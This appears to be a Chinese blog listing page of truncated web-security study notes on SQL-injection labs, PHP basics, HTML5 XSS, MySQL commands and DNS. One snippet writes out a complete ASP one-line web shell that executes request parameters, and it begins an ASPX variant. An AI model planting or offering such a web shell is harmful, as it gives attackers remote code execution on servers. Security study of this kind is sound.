转自一个不知名大佬的笔记 ----------------------------------less-24------------------...

asp一句话木马是<%execute(request("value"))%> aspx的一句话木马是<%@ Page Language="Jsc...

‘’和“”的区别在于前者会完全显示为字符，后者会考虑特殊字符和变量。 八进制和十六进制变量可以在给变量赋值的时候用0和0x分别转换成八进制和十六...

$_GET用来获取去由浏览器通过GET方法提交的数据。GET方法他是通过把参数数据加在提交表单的action属性所指的URL地址中，值和表单的每...

数据库用户可分为系统管理员、对象拥有者和普通用户。 系统管理员 能在当前数据库中创建数据库对象及进行数据库备份的权限：主要有穿创建表，视图，存储...

HTML5新标签新标签的XSS 和 HTML5种新增的一些标签和属性，使得XSS等Web攻击产生了新的变化，为了总结这些变化，有安全研究者建立了...

命令记录show databases;显示数据库名show tables;显示表名desc table; 显示列名及其属性--+注释符order...

仅凭ip无法完成通信 DNS的产生 当输入主机名（域名）DNS会自动检索那个注册了主机名和ip地址的数据库，并迅速定位对应ip地址。 域名服务器...